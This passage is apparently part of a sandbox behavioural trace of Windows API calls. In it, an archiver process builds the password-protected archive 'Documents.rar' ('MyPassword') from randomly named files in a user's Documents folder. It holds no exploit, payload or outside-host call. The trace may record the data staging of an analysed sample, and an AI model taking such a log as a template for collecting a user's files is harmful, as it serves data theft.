0x3b65920 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65920 | out: hHeap=0x2e0000) returned 1 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658f0 | out: hHeap=0x2e0000) returned 1 [0068.880] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39db40 [0068.880] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x84) returned 0x3a3910 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.881] GetTickCount () returned 0xa677ff [0068.881] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14422152410) returned 1 [0068.881] GetTickCount () returned 0xa677ff [0068.881] GetTickCount () returned 0xa677ff [0068.881] GetTickCount () returned 0xa677ff [0068.881] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.881] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.881] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.882] ResetEvent (hEvent=0x1a4) returned 1 [0068.882] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.884] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.884] ResetEvent (hEvent=0x1a4) returned 1 [0068.884] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.885] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.885] GetTickCount () returned 0xa677ff [0068.885] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14423039366) returned 1 [0068.890] GetTickCount () returned 0xa6780f [0068.890] GetTickCount () returned 0xa6780f [0068.890] GetTickCount () returned 0xa6780f [0068.890] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.890] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.890] GetFocus () returned 0x0 [0068.891] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.891] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.891] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.891] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.891] ResetEvent (hEvent=0x190) returned 1 [0068.891] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.891] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.891] ResetEvent (hEvent=0x190) returned 1 [0068.891] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.892] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.892] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.892] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.892] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3bacd4 [0068.892] SetFilePointer (in: hFile=0x198, lDistanceToMove=129, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3bad55 [0068.892] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.892] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.892] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.892] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.892] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xb720, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xb720, lpOverlapped=0x0) returned 1 [0068.893] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.894] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=3910868, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3bacd4 [0068.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3bacd4 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.894] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39daf0 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.894] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39db40 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65920 | out: hHeap=0x2e0000) returned 1 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658f0 | out: hHeap=0x2e0000) returned 1 [0068.894] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39daf0 [0068.894] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x84) returned 0x3a3910 [0068.894] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x81, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x81, lpOverlapped=0x0) returned 1 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.894] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x81) returned 0x3a3d00 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.894] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.894] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3c6475 [0068.894] CloseHandle (hObject=0x1b0) returned 1 [0068.894] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.894] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.894] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.894] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.894] FindFirstFileW (in: lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.894] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.894] CreateFileW (lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\O0Hib.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\jrxwplvqevbmwn-9j\\o0hib.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.895] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.895] GetTickCount () returned 0xa6780f [0068.895] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.895] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.895] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.895] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.895] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="8BCPb3BzgmrIOA5.csv") returned 19 [0068.895] SetWindowTextW (hWnd=0x10280, lpString="O0Hib.csv") returned 1 [0068.895] GetTickCount () returned 0xa6780f [0068.895] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.895] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.895] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.895] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.895] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1e5)) [0068.896] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.896] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14423593843) returned 1 [0068.896] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x3377, lpOverlapped=0x0) returned 1 [0068.896] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a33b7, nNumberOfBytesToRead=0xfcc89, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a33b7*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.896] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39db40 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.896] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39daf0 [0068.896] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.896] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.896] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.896] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65950 | out: hHeap=0x2e0000) returned 1 [0068.896] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65920 | out: hHeap=0x2e0000) returned 1 [0068.896] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39db40 [0068.897] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.897] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.897] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.898] GetTickCount () returned 0xa6780f [0068.898] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14423802584) returned 1 [0068.898] GetTickCount () returned 0xa6780f [0068.898] GetTickCount () returned 0xa6780f [0068.898] GetTickCount () returned 0xa6780f [0068.898] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.898] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.898] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.898] ResetEvent (hEvent=0x1a4) returned 1 [0068.898] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.900] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.900] ResetEvent (hEvent=0x1a4) returned 1 [0068.900] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.901] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.901] GetTickCount () returned 0xa6780f [0068.901] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14424124922) returned 1 [0068.901] GetTickCount () returned 0xa6780f [0068.901] GetTickCount () returned 0xa6780f [0068.901] GetTickCount () returned 0xa6780f [0068.901] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.901] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.901] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.901] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.901] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.901] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3c6475 [0068.901] SetFilePointer (in: hFile=0x198, lDistanceToMove=119, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3c64ec [0068.903] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.903] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.903] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.903] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.903] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x33a0, lpOverlapped=0x0) returned 1 [0068.903] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.903] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.903] SetFilePointer (in: hFile=0x198, lDistanceToMove=3957877, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3c6475 [0068.904] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3c6475 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.904] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39daf0 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.904] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39db40 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65950 | out: hHeap=0x2e0000) returned 1 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65920 | out: hHeap=0x2e0000) returned 1 [0068.904] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39daf0 [0068.904] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.904] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x77, lpOverlapped=0x0) returned 1 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.904] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x77) returned 0x3b4c590 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.904] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.904] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3c988c [0068.904] CloseHandle (hObject=0x1b0) returned 1 [0068.904] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.904] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.904] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.904] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.904] FindFirstFileW (in: lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\VpyteSPe2.ppt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.904] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.905] CreateFileW (lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\VpyteSPe2.ppt" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\jrxwplvqevbmwn-9j\\vpytespe2.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.905] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.905] GetTickCount () returned 0xa6781f [0068.905] GetLastError () returned 0x0 [0068.905] SetLastError (dwErrCode=0x0) [0068.905] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.905] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.905] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.905] SetWindowTextW (hWnd=0x10282, lpString=" 0%") returned 1 [0068.905] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0068.905] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.905] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.905] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.905] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.905] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="O0Hib.csv") returned 9 [0068.905] SetWindowTextW (hWnd=0x10280, lpString="VpyteSPe2.ppt") returned 1 [0068.905] GetTickCount () returned 0xa6781f [0068.905] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.906] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.906] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.906] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.906] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1f5)) [0068.906] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.906] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14424635960) returned 1 [0068.906] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x114b6, lpOverlapped=0x0) returned 1 [0068.907] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b14f6, nNumberOfBytesToRead=0xeeb4a, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b14f6*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.907] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.907] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65920 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.907] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39db40 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.907] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65950, Size=0x48) returned 0x39daf0 [0068.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65950 [0068.907] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65980 | out: hHeap=0x2e0000) returned 1 [0068.907] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65950 | out: hHeap=0x2e0000) returned 1 [0068.907] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65920, Size=0x48) returned 0x39db40 [0068.907] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7e) returned 0x3a3910 [0068.907] HeapFree (in: hHeap=0x2e0000, 